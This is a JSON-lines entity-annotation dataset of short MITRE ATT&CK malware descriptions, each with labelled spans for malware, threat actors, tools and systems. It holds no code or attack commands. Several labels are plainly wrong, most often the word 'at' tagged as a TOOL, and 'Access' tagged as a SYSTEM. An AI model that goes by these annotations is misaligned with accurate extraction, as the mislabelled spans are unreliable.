{"text": "ComRAT is a second stage implant suspected of being a descendant of Agent.btz and used by Turla. The first version of ComRAT was identified in 2007, but the tool has undergone substantial development for many years since.", "spans": {"MALWARE: ComRAT": [[0, 6], [118, 124]], "MALWARE: Agent.btz": [[68, 77]], "THREAT_ACTOR: Turla": [[90, 95]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0126"}}
{"text": "TURNEDUP is a non-public backdoor. It has been dropped by APT33's StoneDrill malware.", "spans": {"MALWARE: TURNEDUP": [[0, 8]], "THREAT_ACTOR: APT33": [[58, 63]], "MALWARE: StoneDrill": [[66, 76]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0199"}}
{"text": "ChChes is a Trojan that appears to be used exclusively by menuPass. It was used to target Japanese organizations in 2016. Its lack of persistence methods suggests it may be intended as a first-stage tool.", "spans": {"MALWARE: ChChes": [[0, 6]], "THREAT_ACTOR: menuPass": [[58, 66]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0144"}}
{"text": "PowerStallion is a lightweight PowerShell backdoor used by Turla, possibly as a recovery access tool to install other backdoors.", "spans": {"MALWARE: PowerStallion": [[0, 13]], "TOOL: PowerShell": [[31, 41]], "THREAT_ACTOR: Turla": [[59, 64]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0393"}}
{"text": "ANDROMEDA is commodity malware that was widespread in the early 2010's and continues to be observed in infections across a wide variety of industries. During the 2022 C0026 campaign, threat actors re-registered expired ANDROMEDA C2 domains to spread malware to select targets in Ukraine.", "spans": {"MALWARE: ANDROMEDA": [[0, 9], [219, 228]], "THREAT_ACTOR: C0026": [[167, 172]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S1074"}}
{"text": "Manjusaka is a Chinese-language intrusion framework, similar to Sliver and Cobalt Strike, with an ELF binary written in GoLang as the controller for Windows and Linux implants written in Rust. First identified in 2022, Manjusaka consists of multiple components, only one of which (a command and control module) is freely available.", "spans": {"MALWARE: Manjusaka": [[0, 9], [219, 228]], "MALWARE: Sliver": [[64, 70]], "TOOL: Cobalt Strike": [[75, 88]], "SYSTEM: Windows": [[149, 156]], "SYSTEM: Linux": [[161, 166]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S1156"}}
{"text": "IceApple is a modular Internet Information Services (IIS) post-exploitation framework, that has been used since at least 2021 against the technology, academic, and government sectors.", "spans": {"MALWARE: IceApple": [[0, 8]], "SYSTEM: Internet Information Services": [[22, 51]], "SYSTEM: IIS": [[53, 56]], "TOOL: at": [[112, 114]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S1022"}}
{"text": "JPIN is a custom-built backdoor family used by PLATINUM. Evidence suggests developers of JPIN and Dipsind code bases were related in some way.", "spans": {"MALWARE: JPIN": [[0, 4], [89, 93]], "THREAT_ACTOR: PLATINUM": [[47, 55]], "MALWARE: Dipsind": [[98, 105]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0201"}}
{"text": "VIRTUALPITA is a passive backdoor with ESXi and Linux vCenter variants capable of command execution, file transfer, and starting and stopping processes. VIRTUALPITA has been in use since at least 2022 including by UNC3886 who leveraged malicious vSphere Installation Bundles (VIBs) for install on ESXi hypervisors.", "spans": {"MALWARE: VIRTUALPITA": [[0, 11], [153, 164]], "SYSTEM: Linux": [[48, 53]], "TOOL: at": [[187, 189]], "THREAT_ACTOR: UNC3886": [[214, 221]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S1217"}}
{"text": "metaMain is a backdoor used by Metador to maintain long-term access to compromised machines; it has also been used to decrypt Mafalda into memory.", "spans": {"MALWARE: metaMain": [[0, 8]], "THREAT_ACTOR: Metador": [[31, 38]], "MALWARE: Mafalda": [[126, 133]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S1059"}}
{"text": "SideTwist is a C-based backdoor that has been used by OilRig since at least 2021.", "spans": {"MALWARE: SideTwist": [[0, 9]], "THREAT_ACTOR: OilRig": [[54, 60]], "TOOL: at": [[67, 69]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0610"}}
{"text": "KOCTOPUS's batch variant is loader used by LazyScripter since 2018 to launch Octopus and Koadic and, in some cases, QuasarRAT. KOCTOPUS also has a VBA variant that has the same functionality as the batch version.", "spans": {"MALWARE: KOCTOPUS": [[0, 8], [127, 135]], "THREAT_ACTOR: LazyScripter": [[43, 55]], "MALWARE: Octopus": [[77, 84]], "TOOL: Koadic": [[89, 95]], "TOOL: QuasarRAT": [[116, 125]], "SYSTEM: VBA": [[147, 150]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0669"}}
{"text": "MechaFlounder is a python-based remote access tool (RAT) that has been used by APT39. The payload uses a combination of actor developed code and code snippets freely available online in development communities.", "spans": {"MALWARE: MechaFlounder": [[0, 13]], "THREAT_ACTOR: APT39": [[79, 84]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0459"}}
{"text": "Psylo is a shellcode-based Trojan that has been used by Scarlet Mimic. It has similar characteristics as FakeM.", "spans": {"MALWARE: Psylo": [[0, 5]], "THREAT_ACTOR: Scarlet Mimic": [[56, 69]], "MALWARE: FakeM": [[105, 110]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0078"}}
{"text": "Heyoka Backdoor is a custom backdoor--based on the Heyoka open source exfiltration tool--that  has been used by Aoqin Dragon since at least 2013.", "spans": {"MALWARE: Heyoka Backdoor": [[0, 15]], "THREAT_ACTOR: Aoqin Dragon": [[112, 124]], "TOOL: at": [[131, 133]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S1027"}}
{"text": "HTTPBrowser is malware that has been used by several threat groups.   It is believed to be of Chinese origin.", "spans": {"MALWARE: HTTPBrowser": [[0, 11]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0070"}}
{"text": "Mis-Type is a backdoor hybrid that was used in Operation Dust Storm by 2012.", "spans": {"MALWARE: Mis-Type": [[0, 8]], "THREAT_ACTOR: Operation Dust Storm": [[47, 67]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0084"}}
{"text": "LunarWeb is a backdoor that has been used by Turla since at least 2020 including in a compromise of a European ministry of foreign affairs (MFA) together with LunarLoader and LunarMail. LunarWeb has only been observed deployed against servers and can use Steganography to obfuscate command and control.", "spans": {"MALWARE: LunarWeb": [[0, 8], [186, 194]], "THREAT_ACTOR: Turla": [[45, 50]], "TOOL: at": [[57, 59]], "MALWARE: LunarLoader": [[159, 170]], "MALWARE: LunarMail": [[175, 184]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S1141"}}
{"text": "XCSSET is a modular macOS malware family delivered through infected Xcode projects and executed when the project is compiled. Active since August 2020, it has been observed installing backdoors, spoofed browsers, collecting data, and encrypting user files. It is composed of SHC-compiled shell scripts and run-only AppleScripts, often hiding in apps that mimic system tools (such as Xcode, Mail, or Notes) or use familiar icons (like Launchpad) to avoid detection.", "spans": {"MALWARE: XCSSET": [[0, 6]], "SYSTEM: macOS": [[20, 25]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0658"}}
{"text": "Disco is a custom implant that has been used by MoustachedBouncer since at least 2020 including in campaigns using targeted malicious content injection for initial access and command and control.", "spans": {"MALWARE: Disco": [[0, 5]], "THREAT_ACTOR: MoustachedBouncer": [[48, 65]], "TOOL: at": [[72, 74]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S1088"}}
{"text": "Dipsind is a malware family of backdoors that appear to be used exclusively by PLATINUM.", "spans": {"MALWARE: Dipsind": [[0, 7]], "THREAT_ACTOR: PLATINUM": [[79, 87]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0200"}}
{"text": "Octopus is a Windows Trojan written in the Delphi programming language that has been used by Nomadic Octopus to target government organizations in Central Asia since at least 2014.", "spans": {"MALWARE: Octopus": [[0, 7]], "SYSTEM: Windows": [[13, 20]], "THREAT_ACTOR: Nomadic Octopus": [[93, 108]], "TOOL: at": [[166, 168]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0340"}}
{"text": "KillDisk is a disk-wiping tool designed to overwrite files with random data to render the OS unbootable. It was first observed as a component of BlackEnergy malware during cyber attacks against Ukraine in 2015. KillDisk has since evolved into stand-alone malware used by a variety of threat actors against additional targets in Europe and Latin America; in 2016 a ransomware component was also incorporated into some KillDisk variants.", "spans": {"MALWARE: KillDisk": [[0, 8], [211, 219], [417, 425]], "MALWARE: BlackEnergy": [[145, 156]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0607"}}
{"text": "Qilin ransomware is a Ransomware-as-a-Service (RaaS) that has been active since at least 2022 with versions written in Golang and Rust that are capable of targeting Windows or VMWare ESXi devices. Qilin shares functionality overlaps with Black Basta, REvil, and BlackCat ransomware and its RaaS affiliates have been observed targeting multiple sectors worldwide, including healthcare and education in Asia, Europe, and Africa.", "spans": {"MALWARE: Qilin": [[0, 5], [197, 202]], "TOOL: at": [[80, 82]], "SYSTEM: Windows": [[165, 172]], "MALWARE: Black Basta": [[238, 249]], "MALWARE: REvil": [[251, 256]], "MALWARE: BlackCat": [[262, 270]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S1242"}}
{"text": "AppleJeus is a family of downloaders initially discovered in 2018 embedded within trojanized cryptocurrency applications. AppleJeus has been used by Lazarus Group, targeting companies in the energy, finance, government, industry, technology, and telecommunications sectors, and several countries including the United States, United Kingdom, South Korea, Australia, Brazil, New Zealand, and Russia. AppleJeus has been used to distribute the FALLCHILL RAT.", "spans": {"MALWARE: AppleJeus": [[0, 9], [122, 131], [398, 407]], "THREAT_ACTOR: Lazarus Group": [[149, 162]], "MALWARE: FALLCHILL": [[440, 449]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0584"}}
{"text": "SoreFang is first stage downloader used by APT29 for exfiltration and to load other malware.", "spans": {"MALWARE: SoreFang": [[0, 8]], "THREAT_ACTOR: APT29": [[43, 48]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0516"}}
{"text": "STARWHALE is Windows Script File (WSF) backdoor that has been used by MuddyWater, possibly since at least November 2021; there is also a STARWHALE variant written in Golang with similar capabilities. Security researchers have also noted the use of STARWHALE by UNC3313, which may be associated with MuddyWater.", "spans": {"MALWARE: STARWHALE": [[0, 9], [137, 146], [248, 257]], "SYSTEM: Windows": [[13, 20]], "THREAT_ACTOR: MuddyWater": [[70, 80], [299, 309]], "TOOL: at": [[97, 99]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S1037"}}
{"text": "MirageFox is a remote access tool used against Windows systems. It appears to be an upgraded version of a tool known as Mirage, which is a RAT believed to originate in 2012.", "spans": {"MALWARE: MirageFox": [[0, 9]], "SYSTEM: Windows": [[47, 54]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0280"}}
{"text": "Industroyer is a sophisticated malware framework designed to cause an impact to the working processes of Industrial Control Systems (ICS), specifically components used in electrical substations. Industroyer was used in the attacks on the Ukrainian power grid in December 2016. This is the first publicly known malware specifically designed to target and impact operations in the electric grid.", "spans": {"MALWARE: Industroyer": [[0, 11], [195, 206]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0604"}}
{"text": "DownPaper is a backdoor Trojan; its main functionality is to download and run second stage malware.", "spans": {"MALWARE: DownPaper": [[0, 9]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0186"}}
{"text": "Socksbot is a backdoor that  abuses Socket Secure (SOCKS) proxies.", "spans": {"MALWARE: Socksbot": [[0, 8]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0273"}}
{"text": "Pcexter is an uploader that has been used by ToddyCat since at least 2023 to exfiltrate stolen files.", "spans": {"MALWARE: Pcexter": [[0, 7]], "THREAT_ACTOR: ToddyCat": [[45, 53]], "TOOL: at": [[60, 62]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S1102"}}
{"text": "HIDEDRV is a rootkit used by APT28. It has been deployed along with Downdelph to execute and hide that malware.", "spans": {"MALWARE: HIDEDRV": [[0, 7]], "THREAT_ACTOR: APT28": [[29, 34]], "MALWARE: Downdelph": [[68, 77]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0135"}}
{"text": "CozyCar is malware that was used by APT29 from 2010 to 2015. It is a modular malware platform, and its backdoor component can be instructed to download and execute a variety of modules with different functionality.", "spans": {"MALWARE: CozyCar": [[0, 7]], "THREAT_ACTOR: APT29": [[36, 41]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0046"}}
{"text": "Kevin is a backdoor implant written in C++ that has been used by HEXANE since at least June 2020, including in operations against organizations in Tunisia.", "spans": {"MALWARE: Kevin": [[0, 5]], "THREAT_ACTOR: HEXANE": [[65, 71]], "TOOL: at": [[78, 80]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S1020"}}
{"text": "Agent Tesla is a spyware Trojan written for the .NET framework that has been observed since at least 2014.", "spans": {"MALWARE: Agent Tesla": [[0, 11]], "SYSTEM: .NET": [[48, 52]], "TOOL: at": [[92, 94]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0331"}}
{"text": "Pasam is a trojan used by Elderwood to open a backdoor on compromised hosts.", "spans": {"MALWARE: Pasam": [[0, 5]], "THREAT_ACTOR: Elderwood": [[26, 35]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0208"}}
{"text": "httpclient is malware used by Putter Panda. It is a simple tool that provides a limited range of functionality, suggesting it is likely used as a second-stage or supplementary/backup tool.", "spans": {"MALWARE: httpclient": [[0, 10]], "THREAT_ACTOR: Putter Panda": [[30, 42]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0068"}}
{"text": "POWERSTATS is a PowerShell-based first stage backdoor used by MuddyWater.", "spans": {"MALWARE: POWERSTATS": [[0, 10]], "TOOL: PowerShell": [[16, 26]], "THREAT_ACTOR: MuddyWater": [[62, 72]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0223"}}
{"text": "POWERTON is a custom PowerShell backdoor first observed in 2018. It has typically been deployed as a late-stage backdoor by APT33. At least two variants of the backdoor have been identified, with the later version containing improved functionality.", "spans": {"MALWARE: POWERTON": [[0, 8]], "TOOL: PowerShell": [[21, 31]], "THREAT_ACTOR: APT33": [[124, 129]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0371"}}
{"text": "StarProxy is custom malware used by Mustang Panda as a post-compromise tool, to enable proxying of traffic between the infected machine and other machines on the same network.", "spans": {"MALWARE: StarProxy": [[0, 9]], "THREAT_ACTOR: Mustang Panda": [[36, 49]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S1227"}}
{"text": "ECCENTRICBANDWAGON is a remote access Trojan (RAT) used by North Korean cyber actors that was first identified in August 2020. It is a reconnaissance tool--with keylogging and screen capture functionality--used for information gathering on compromised systems.", "spans": {"MALWARE: ECCENTRICBANDWAGON": [[0, 18]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0593"}}
{"text": "BADNEWS is malware that has been used by the actors responsible for the Patchwork campaign. Its name was given due to its use of RSS feeds, forums, and blogs for command and control.", "spans": {"MALWARE: BADNEWS": [[0, 7]], "THREAT_ACTOR: Patchwork": [[72, 81]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0128"}}
{"text": "Linfo is a rootkit trojan used by Elderwood to open a backdoor on compromised hosts.", "spans": {"MALWARE: Linfo": [[0, 5]], "THREAT_ACTOR: Elderwood": [[34, 43]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0211"}}
{"text": "Goopy is a Windows backdoor and Trojan used by APT32 and shares several similarities to another backdoor used by the group (Denis). Goopy is named for its impersonation of the legitimate Google Updater executable.", "spans": {"MALWARE: Goopy": [[0, 5], [132, 137]], "SYSTEM: Windows": [[11, 18]], "THREAT_ACTOR: APT32": [[47, 52]], "MALWARE: Denis": [[124, 129]], "ORGANIZATION: Google": [[187, 193]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0477"}}
{"text": "ShadowPad is a modular backdoor that was first identified in a supply chain compromise of the NetSarang software in mid-July 2017. The malware was originally thought to be exclusively used by APT41, but has since been observed to be used by various Chinese threat activity groups.", "spans": {"MALWARE: ShadowPad": [[0, 9]], "THREAT_ACTOR: APT41": [[192, 197]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0596"}}
{"text": "Remexi is a Windows-based Trojan that was developed in the C programming language.", "spans": {"MALWARE: Remexi": [[0, 6]], "SYSTEM: Windows": [[12, 19]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0375"}}
{"text": "Astaroth is a Trojan and information stealer known to affect companies in Europe, Brazil, and throughout Latin America. It has been known publicly since at least late 2017.", "spans": {"MALWARE: Astaroth": [[0, 8]], "TOOL: at": [[153, 155]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0373"}}
{"text": "QakBot is a modular banking trojan that has been used primarily by financially-motivated actors since at least 2007. QakBot is continuously maintained and developed and has evolved from an information stealer into a delivery agent for ransomware, most notably ProLock and Egregor.", "spans": {"MALWARE: QakBot": [[0, 6], [117, 123]], "TOOL: at": [[102, 104]], "MALWARE: ProLock": [[260, 267]], "MALWARE: Egregor": [[272, 279]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0650"}}
{"text": "SYSCON is a backdoor that has been in use since at least 2017 and has been associated with campaigns involving North Korean themes. SYSCON has been delivered by the CARROTBALL and CARROTBAT droppers.", "spans": {"MALWARE: SYSCON": [[0, 6], [132, 138]], "TOOL: at": [[48, 50]], "MALWARE: CARROTBALL": [[165, 175]], "MALWARE: CARROTBAT": [[180, 189]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0464"}}
{"text": "CookieMiner is mac-based malware that targets information associated with cryptocurrency exchanges as well as enabling cryptocurrency mining on the victim system itself. It was first discovered in the wild in 2019.", "spans": {"MALWARE: CookieMiner": [[0, 11]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0492"}}
{"text": "Hancitor is a downloader that has been used by Pony and other information stealing malware.", "spans": {"MALWARE: Hancitor": [[0, 8]], "MALWARE: Pony": [[47, 51]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0499"}}
{"text": "Gelsemium is a modular malware comprised of a dropper (Gelsemine), a loader (Gelsenicine), and main (Gelsevirine) plug-ins written using the Microsoft Foundation Class (MFC) framework. Gelsemium has been used by the Gelsemium group since at least 2014.", "spans": {"MALWARE: Gelsemium": [[0, 9], [185, 194], [216, 225]], "ORGANIZATION: Microsoft": [[141, 150]], "TOOL: at": [[238, 240]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0666"}}
{"text": "jRAT is a cross-platform, Java-based backdoor originally available for purchase in 2012. Variants of jRAT have been distributed via a software-as-a-service platform, similar to an online subscription model.", "spans": {"MALWARE: jRAT": [[0, 4], [101, 105]], "SYSTEM: Java": [[26, 30]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0283"}}
{"text": "Helminth is a backdoor that has at least two variants - one written in VBScript and PowerShell that is delivered via a macros in Excel spreadsheets, and one that is a standalone Windows executable.", "spans": {"MALWARE: Helminth": [[0, 8]], "TOOL: at": [[32, 34]], "SYSTEM: VBScript": [[71, 79]], "TOOL: PowerShell": [[84, 94]], "SYSTEM: Excel": [[129, 134]], "SYSTEM: Windows": [[178, 185]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0170"}}
{"text": "Dridex is a prolific banking Trojan that first appeared in 2014. By December 2019, the US Treasury estimated Dridex had infected computers in hundreds of banks and financial institutions in over 40 countries, leading to more than $100 million in theft. Dridex was created from the source code of the Bugat banking Trojan (also known as Cridex).", "spans": {"MALWARE: Dridex": [[0, 6], [109, 115], [253, 259]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0384"}}
{"text": "BBK is a downloader that has been used by BRONZE BUTLER since at least 2019.", "spans": {"MALWARE: BBK": [[0, 3]], "THREAT_ACTOR: BRONZE BUTLER": [[42, 55]], "TOOL: at": [[62, 64]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0470"}}
{"text": "Komplex is a backdoor that has been used by APT28 on OS X and appears to be developed in a similar manner to XAgentOSX  .", "spans": {"MALWARE: Komplex": [[0, 7]], "THREAT_ACTOR: APT28": [[44, 49]], "MALWARE: XAgentOSX": [[109, 118]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0162"}}
{"text": "OSX/Shlayer is a Trojan designed to install adware on macOS that was first discovered in 2018.", "spans": {"MALWARE: OSX/Shlayer": [[0, 11]], "SYSTEM: macOS": [[54, 59]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0402"}}
{"text": "Denis is a Windows backdoor and Trojan used by APT32. Denis shares several similarities to the SOUNDBITE backdoor and has been used in conjunction with the Goopy backdoor.", "spans": {"MALWARE: Denis": [[0, 5], [54, 59]], "SYSTEM: Windows": [[11, 18]], "THREAT_ACTOR: APT32": [[47, 52]], "MALWARE: SOUNDBITE": [[95, 104]], "MALWARE: Goopy": [[156, 161]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0354"}}
{"text": "INC Ransomware is a ransomware strain that has been used by the INC Ransom group since at least 2023 against multiple industry sectors worldwide. INC Ransomware can employ partial encryption combined with multi-threading to speed encryption.", "spans": {"MALWARE: INC Ransomware": [[0, 14], [146, 160]], "THREAT_ACTOR: INC Ransom": [[64, 74]], "TOOL: at": [[87, 89]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S1139"}}
{"text": "DEADWOOD is wiper malware written in C++ using Boost libraries. DEADWOOD was first observed in an unattributed wiping event in Saudi Arabia in 2019, and has since been incorporated into Agrius operations.", "spans": {"MALWARE: DEADWOOD": [[0, 8], [64, 72]], "THREAT_ACTOR: Agrius": [[186, 192]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S1134"}}
{"text": "GLOOXMAIL is malware used by APT1 that mimics legitimate Jabber/XMPP traffic.", "spans": {"MALWARE: GLOOXMAIL": [[0, 9]], "THREAT_ACTOR: APT1": [[29, 33]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0026"}}
{"text": "Dok is a Trojan application disguised as a .zip file that is able to collect user credentials and install a malicious proxy server to redirect a user's network traffic (i.e. Adversary-in-the-Middle).", "spans": {"MALWARE: Dok": [[0, 3]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0281"}}
{"text": "SplatCloak is a malware that disables EDR-related routines used by Windows Defender and Kaspersky to aid in evading detection.  SplatCloak has been deployed by SplatDropper and is known to be leveraged by Mustang Panda since 2025.", "spans": {"MALWARE: SplatCloak": [[0, 10], [128, 138]], "SYSTEM: Windows Defender": [[67, 83]], "ORGANIZATION: Kaspersky": [[88, 97]], "MALWARE: SplatDropper": [[160, 172]], "THREAT_ACTOR: Mustang Panda": [[205, 218]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S1234"}}
{"text": "Waterbear is modular malware attributed to BlackTech that has been used primarily for lateral movement, decrypting, and triggering payloads and is capable of hiding network behaviors.", "spans": {"MALWARE: Waterbear": [[0, 9]], "THREAT_ACTOR: BlackTech": [[43, 52]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0579"}}
{"text": "FIVEHANDS is a customized version of DEATHRANSOM ransomware written in C++. FIVEHANDS has been used since at least 2021, including in Ransomware-as-a-Service (RaaS) campaigns, sometimes along with SombRAT.", "spans": {"MALWARE: FIVEHANDS": [[0, 9], [76, 85]], "MALWARE: DEATHRANSOM": [[37, 48]], "TOOL: at": [[106, 108]], "MALWARE: SombRAT": [[197, 204]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0618"}}
{"text": "Comnie is a remote backdoor which has been used in attacks in East Asia.", "spans": {"MALWARE: Comnie": [[0, 6]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0244"}}
{"text": "Vasport is a trojan used by Elderwood to open a backdoor on compromised hosts.", "spans": {"MALWARE: Vasport": [[0, 7]], "THREAT_ACTOR: Elderwood": [[28, 37]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0207"}}
{"text": "AutoIt backdoor is malware that has been used by the actors responsible for the MONSOON campaign. The actors frequently used it in weaponized .pps files exploiting CVE-2014-6352.  This malware makes use of the legitimate scripting language for Windows GUI automation with the same name.", "spans": {"MALWARE: AutoIt backdoor": [[0, 15]], "CVE_ID: CVE-2014-6352": [[164, 177]], "SYSTEM: Windows": [[244, 251]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0129"}}
{"text": "JSS Loader is Remote Access Trojan (RAT) with .NET and C++ variants that has been used by FIN7 since at least 2020.", "spans": {"MALWARE: JSS Loader": [[0, 10]], "SYSTEM: Access": [[21, 27]], "SYSTEM: .NET": [[46, 50]], "THREAT_ACTOR: FIN7": [[90, 94]], "TOOL: at": [[101, 103]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0648"}}
{"text": "PHOREAL is a signature backdoor used by APT32.", "spans": {"MALWARE: PHOREAL": [[0, 7]], "THREAT_ACTOR: APT32": [[40, 45]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0158"}}
{"text": "OSInfo is a custom tool used by APT3 to do internal discovery on a victim's computer and network.", "spans": {"MALWARE: OSInfo": [[0, 6]], "THREAT_ACTOR: APT3": [[32, 36]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0165"}}
{"text": "MacSpy is a malware-as-a-service offered on the darkweb  .", "spans": {"MALWARE: MacSpy": [[0, 6]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0282"}}
{"text": "Lizar is a modular remote access tool written using the .NET Framework that shares structural similarities to Carbanak. It has likely been used by FIN7 since at least February 2021.", "spans": {"MALWARE: Lizar": [[0, 5]], "SYSTEM: .NET": [[56, 60]], "MALWARE: Carbanak": [[110, 118]], "THREAT_ACTOR: FIN7": [[147, 151]], "TOOL: at": [[158, 160]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0681"}}
{"text": "Dtrack is spyware that was discovered in 2019 and has been used against Indian financial institutions, research facilities, and the Kudankulam Nuclear Power Plant. Dtrack shares similarities with the DarkSeoul campaign, which was attributed to Lazarus Group.", "spans": {"MALWARE: Dtrack": [[0, 6], [164, 170]], "THREAT_ACTOR: Lazarus Group": [[244, 257]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0567"}}
{"text": "H1N1 is a malware variant that has been distributed via a campaign using VBA macros to infect victims. Although it initially had only loader capabilities, it has evolved to include information-stealing functionality.", "spans": {"MALWARE: H1N1": [[0, 4]], "SYSTEM: VBA": [[73, 76]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0132"}}
{"text": "SLOWPULSE is a malware that was used by APT5 as early as 2020 including against U.S. Defense Industrial Base (DIB) companies. SLOWPULSE has several variants and can modify legitimate Pulse Secure VPN files in order to log credentials and bypass single and two-factor authentication flows.", "spans": {"MALWARE: SLOWPULSE": [[0, 9], [126, 135]], "THREAT_ACTOR: APT5": [[40, 44]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S1104"}}
{"text": "Seth-Locker is a ransomware with some remote control capabilities that has been in use since at least 2021.", "spans": {"MALWARE: Seth-Locker": [[0, 11]], "TOOL: at": [[93, 95]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0639"}}
{"text": "LoudMiner is a cryptocurrency miner which uses virtualization software to siphon system resources. The miner has been bundled with pirated copies of Virtual Studio Technology (VST) for Windows and macOS.", "spans": {"MALWARE: LoudMiner": [[0, 9]], "SYSTEM: Windows": [[185, 192]], "SYSTEM: macOS": [[197, 202]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0451"}}
{"text": "Azorult is a commercial Trojan that is used to steal information from compromised hosts. Azorult has been observed in the wild as early as 2016.\nIn July 2018, Azorult was seen used in a spearphishing campaign against targets in North America. Azorult has been seen used for cryptocurrency theft.", "spans": {"MALWARE: Azorult": [[0, 7], [89, 96], [159, 166], [243, 250]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0344"}}
{"text": "BitPaymer is a ransomware variant first observed in August 2017 targeting hospitals in the U.K. BitPaymer uses a unique encryption key, ransom note, and contact information for each operation. BitPaymer has several indicators suggesting overlap with the Dridex malware and is often delivered via Dridex.", "spans": {"MALWARE: BitPaymer": [[0, 9], [96, 105], [193, 202]], "MALWARE: Dridex": [[254, 260], [296, 302]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0570"}}
{"text": "BACKSPACE is a backdoor used by APT30 that dates back to at least 2005.", "spans": {"MALWARE: BACKSPACE": [[0, 9]], "THREAT_ACTOR: APT30": [[32, 37]], "TOOL: at": [[57, 59]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0031"}}
{"text": "Zox is a remote access tool that has been used by Axiom since at least 2008.", "spans": {"MALWARE: Zox": [[0, 3]], "THREAT_ACTOR: Axiom": [[50, 55]], "TOOL: at": [[62, 64]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0672"}}
{"text": "UPPERCUT is a backdoor that has been used by menuPass.", "spans": {"MALWARE: UPPERCUT": [[0, 8]], "THREAT_ACTOR: menuPass": [[45, 53]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0275"}}
{"text": "ADVSTORESHELL is a spying backdoor that has been used by APT28 from at least 2012 to 2016. It is generally used for long-term espionage and is deployed on targets deemed interesting after a reconnaissance phase.", "spans": {"MALWARE: ADVSTORESHELL": [[0, 13]], "THREAT_ACTOR: APT28": [[57, 62]], "TOOL: at": [[68, 70]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0045"}}
{"text": "StrifeWater is a remote-access tool that has been used by Moses Staff in the initial stages of their attacks since at least November 2021.", "spans": {"MALWARE: StrifeWater": [[0, 11]], "THREAT_ACTOR: Moses Staff": [[58, 69]], "TOOL: at": [[115, 117]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S1034"}}
